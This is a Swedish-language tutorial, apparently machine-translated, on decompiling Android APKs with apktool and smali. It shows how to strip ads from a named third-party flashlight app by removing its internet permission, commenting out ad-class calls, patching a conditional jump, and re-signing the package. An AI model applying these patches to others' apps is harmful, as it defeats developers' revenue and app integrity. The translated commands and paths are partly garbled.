Anta att du hittar paketet du är intresserad av, ladda ner, packa upp ... och när du försöker visa en XML-fil blir du förvånad över att filen inte är text. Hur dekompilera det och hur man arbetar med paket i allmänhet? Är det verkligen nödvändigt att installera SDK? Nej, SDK är inte nödvändigt alls. Faktum är att alla steg för att packa upp, ändra och packa APK-paket kräver följande verktyg:

  • zIP arkiverare   för packning och packning;
  • smali   - Bytekodmonterare / demonterare av virtuell maskin för Dalvik (code.google.com/p/smali);
  • aapt   - ett verktyg för att packa resurser (som standard lagras resurser i binär form för att optimera applikationsprestanda). Ingår i Android SDK, men kan erhållas separat;
  • signer   - ett verktyg för digital signering av ett modifierat paket (bit.ly/Rmrv4M).

Du kan använda alla dessa verktyg separat, men det är obekvämt, så det är bättre att använda en högre nivå programvara som bygger på deras bas. Om du arbetar på Linux eller Mac OS X finns det ett verktyg som heter apktool. Det låter dig packa upp resurser i sin ursprungliga form (inklusive binära XML- och arsc-filer), bygga om ett paket med modifierade resurser, men kan inte signera paket, så du måste köra signaturverktyget manuellt. Trots att verktyget är skriven i Java är installationen ganska icke-standard. Hämta först jarfilen själv:

   $ cd / tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

   $ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~ / bin $ mv apktool-install-linux-r05-ibot / * ~ / bin $ export PATH \u003d ~ / bin: $ PATH

Om du arbetar i Windows finns det ett utmärkt verktyg för det som kallas Virtual Ten Studio, som också samlar alla dessa verktyg (inklusive apktool själv), men istället för CLI-gränssnittet ger användaren ett intuitivt grafiskt gränssnitt som du kan utföra operationer med packa upp, demontera och dekompilera med några få klick. Detta verktyg är Donation-ware, det vill säga, ibland visas fönster med ett erbjudande om att få en licens, men detta kan i slutändan tolereras. Det är meningsfullt att beskriva det, eftersom du kan räkna ut gränssnittet på några minuter. Men apktool, på grund av dess konsolart, bör diskuteras mer detaljerat.


Överväg alternativet apktool. Kort sagt, det finns tre huvudkommandon: d (avkoda), b (build) och if (installera ramverk). Om allt är klart med de två första kommandona, vad gör då den tredje villkorade operatören? Den packar upp det angivna gränssnittet för användargränssnittet, vilket är nödvändigt när du förbereder ett systempaket.

Tänk på de mest intressanta alternativen för det första kommandot:

  • -s   - demontera inte dex-filer;
  • -r   - packa inte upp resurser;
  • -b   - inte infoga felsökningsinformation i resultaten av demontering av dex-filen;
  • --frame-path   - använd det angivna UI-ramverket istället för den inbyggda apktolen. Överväg nu ett par alternativ för kommando b:
  • -f   - tvingad montering utan att kontrollera förändringar;
  • -a   - ange sökvägen till aapt (ett verktyg för montering av APK-arkivet) om du av någon anledning vill använda den från en annan källa.

Att använda apktool är mycket enkelt, ange bara en av kommandona och sökvägen till APK, till exempel:

   $ apktool d mail.apk

Efter det kommer alla extraherade och demonterade paketfiler att visas i e-postkatalogen.

Dissection. Inaktivera annonser

Teorin är naturligtvis bra, men varför behövs den om vi inte vet vad vi ska göra med paketet? Låt oss försöka tillämpa teorin till förmån för oss själva, nämligen att vi modifierar viss programvara så att den inte visar oss reklam. Låt det till exempel vara Virtual Torch - en virtuell fackla. För oss är den här programvaran idealisk eftersom den är full av irriterande annonser och också tillräckligt enkel för att inte gå vilse i koden.


Så, använd en av ovanstående metoder, ladda ner applikationen från marknaden. Om du bestämmer dig för att använda Virtuous Ten Studio, öppnar du bara APK-filen i applikationen och packar upp den, för vilken du skapar ett projekt (File -\u003e New project), välj sedan Importera File i projektets kontextmeny. Om ditt val föll på apktool, kör bara ett kommando:

   $ apktool d com.kauf.particle.virtualtorch.apk

Efter det kommer ett filträd att visas i katalogen com.kauf.particle.virtualtorch, liknande det som beskrivs i föregående avsnitt, men med en ytterligare smali-katalog istället för dex-filer och apktool.yml-filen. Den första innehåller den demonterade koden för programmets körbara dex-fil, den andra innehåller den serviceinformation som behövs av apktool för att bygga tillbaka paketet.

Det första vi behöver titta är naturligtvis AndroidManifest.xml. Och här möter vi omedelbart följande rad:

Det är lätt att gissa att hon är ansvarig för att tillhandahålla applikationen behörighet att använda Internet-anslutningen. I själva verket, om vi bara vill bli av med reklam, kommer det troligtvis att räcka för oss att förbjuda internetapplikationen. Försök göra det. Ta bort den angivna raden och försök att bygga programvaran med apktool:

   $ apktool b com.kauf.particle.virtualtorch

Den resulterande APK-filen visas i com.kauf.particle.virtualtorch / build / katalogen. Den kan dock inte installeras eftersom den inte har en digital signatur och kontrollsumma för filerna (den har helt enkelt inte META-INF / katalogen). Vi måste skriva under paketet med hjälp av apk-signer-verktyget. Lanseras. Gränssnittet består av två flikar - på den första (Key Generator) skapar vi nycklar, på den andra (APK Signer) vi signerar. Fyll i följande fält för att skapa vår privata nyckel:

  • Målfil   - Utdatafilen för keystore; det lagrar vanligtvis ett nyckelpar;
  • lösenord   och Bekräfta   - lösenord för valvet;
  • alias   - namnet på nyckeln i förvaret;
  • Alias \u200b\u200blösenord   och Bekräfta   - lösenord för hemligt nyckel;
  • giltighet   - giltighetstid (i år). Standardvärdet är optimalt.

De återstående fälten är i allmänhet valfria - men du måste fylla i minst ett.


VARNING

För att signera applikationen med apk-signer måste du installera Android SDK och ange hela sökvägen till den i applikationsinställningarna.

All information tillhandahålls endast för informationsändamål. Varken redaktörerna eller författaren är ansvariga för eventuella skador orsakade av materialen i denna artikel.

Nu kan du signera APK med den här knappen. På fliken APK Signer väljer du den nyligen genererade filen, anger lösenordet, nyckelaliaset och lösenordet för den, letar sedan efter APK-filen och klickar djärvt på "Sign" -knappen. Om allt går bra kommer paketet att undertecknas.

INFO

Eftersom vi signerade paketet med vår egen nyckel kommer det att komma i konflikt med den ursprungliga applikationen, vilket innebär att när vi försöker uppdatera programvaran genom marknaden kommer vi att få ett fel.

Digital signatur krävs endast av programvara från tredje part, så om du modifierar systemapplikationer som installeras genom att kopiera till / system / app / katalogen, behöver du inte underteckna dem.

Efter det släpper vi paketet på smarttelefonen, installerar och startar. Voila, annonsen är borta! Istället dök dock upp ett meddelande om att vi inte hade Internet eller att det inte fanns motsvarande behörigheter. I teorin kan detta vara tillräckligt, men meddelandet ser irriterande ut och för att vara ärlig hade vi bara tur med en dum ansökan. En normalt skriven programvara kommer sannolikt att klargöra sina referenser eller kontrollera tillgängligheten för en Internet-anslutning och annars vägrar den helt enkelt att starta. Vad ska man göra i det här fallet? Naturligtvis redigera koden.

Vanligtvis skapar applikationsförfattare specialklasser för att visa annonser och samtalsmetoder för dessa klasser under programstart eller en av dess ”aktiviteter” (med andra ord applikationsskärmar). Låt oss försöka hitta dessa klasser. Vi går till smali-katalogen, sedan com (i org finns det bara ett öppet grafiskt bibliotek cocos2d), sedan kauf (där, för det här är namnet på utvecklaren och all hans kod finns där) - och här är det marknadsföringskatalogen. Inuti hittar vi ett gäng filer med smali-förlängningen. Det här är klasser, och den mest anmärkningsvärda av dem är klassen Ad.smali, med namnet som det är lätt att gissa vad exakt den visar annonser.

Vi kan ändra logiken i dess arbete, men det skulle vara mycket enklare att dumt ta bort samtal från någon av dess metoder från själva applikationen. Därför lämnar vi marknadsföringskatalogen och går till den angränsande partikelkatalogen och sedan till virtualtorch. Speciellt här är filen MainActivity.smali. Detta är standardklassen Android som skapas av Android SDK och ställs in som startpunkt för applikationen (en analog huvudfunktion i C). Öppna filen för redigering.

Inuti är smali-koden (lokal montering). Det är ganska förvirrande och svårt att läsa på grund av dess låga nivå, så vi kommer inte att studera det, utan helt enkelt hitta alla referenser till annonsklassen i koden och kommentera dem. Vi kör i strängen "Annons" i sökningen och kommer till rad 25:

Fält privat annons: Lcom / kauf / marketing / Ad;

Detta skapar ett annonsfält för att lagra ett objekt i klassannonsen. Vi kommenterar genom att sätta ### -tecknet framför linjen. Vi fortsätter sökningen. Linje 423:

Nyinstans v3, Lcom / kauf / marketing / Ad;

Det är här skapandet av objektet äger rum. Kommentar. Vi fortsätter sökningen och hittar i raderna 433, 435, 466, 468, 738, 740, 800 och 802 åtkomst till metoder i annonsklassen. Kommentar. Gillar allt. Spara. Nu måste paketet monteras tillbaka och kontrolleras för dess funktionalitet och reklam. För experimentets renhet returnerar vi raden som tas bort från AndroidManifest.xml, samlar paketet, signerar och installerar.

   Vår experimentella kanin. Annonser synliga

Op-pa! Annonsering försvann bara medan applikationen kördes men förblev i huvudmenyn, som vi ser när vi startar programvaran. Så vänta, men posten är klassen MainActivity, och annonsen försvann medan applikationen kördes, men stannade kvar i huvudmenyn, så posten är annorlunda? Öppna filen AndroidManifest.xml igen för att avslöja den riktiga posten. Och ja, det har följande rader:

De berättar för oss (och, ännu viktigare, android) att en aktivitet med namnet Start bör startas som svar på genereringen av avsikten (händelsen) android.intent.action.MAIN från kategorin android.intent.category.LAUNCHER. Den här händelsen genereras när du pekar på applikationsikonen i startern, därför definierar den startpunkten, nämligen Start-klassen. Troligtvis skrev programmeraren först applikationen utan huvudmenyn, vars startpunkt var standardklassen MainActivity, och lägger sedan till ett nytt fönster (aktivitet) som innehåller menyn och beskrivs i Start-klassen och gjorde det manuellt till startpunkten.

Öppna filen Start.smali och leta igen efter raden "Annons", i raderna 153 och 155 finner vi omnämnandet av FirstAd-klassen. Det finns också i källkoden och, döpt efter namnet, är det bara ansvaret för att visa annonser på huvudskärmen. Vi tittar vidare, vi skapar en instans av FirstAd-klassen och avsikten, som är kontextuellt relaterad till den här instansen, och sedan etiketten cond_10, den villkorliga övergången som görs exakt innan klassinstansen skapas:

If-ne p1, v0,: cond_10 .line 74 nyinstans v0, Landroid / content / Intent; ...: cond_10

Troligtvis beräknar programmet på något sätt slumpmässigt om det ska visas annonser på huvudskärmen och, om inte, hoppar det omedelbart till cond_10. Okej, vi förenklar uppgiften för henne och ersätter den villkorliga övergången med den ovillkorliga:

   # if-ne p1, v0,: cond_10 goto: cond_10

Det finns inga fler omnämnanden av FirstAd i koden, så stäng filen och sätt ihop vår virtuella fackla med apktool. Vi kopierar till smarttelefonen, installerar, startar. Voila, all reklam har försvunnit, och grattis till oss alla.

resultat

Den här artikeln är bara en kort introduktion till metoderna för att öppna och ändra Android-applikationer. Många frågor stannade kvar bakom kulisserna, såsom borttagning av skydd, analys av dold kod, översättning och utbyte av applikationsresurser och ändring av applikationer skrivna med Android NDK. Att ha grundläggande kunskap är att förstå allt detta bara en fråga om tid.

Dela detta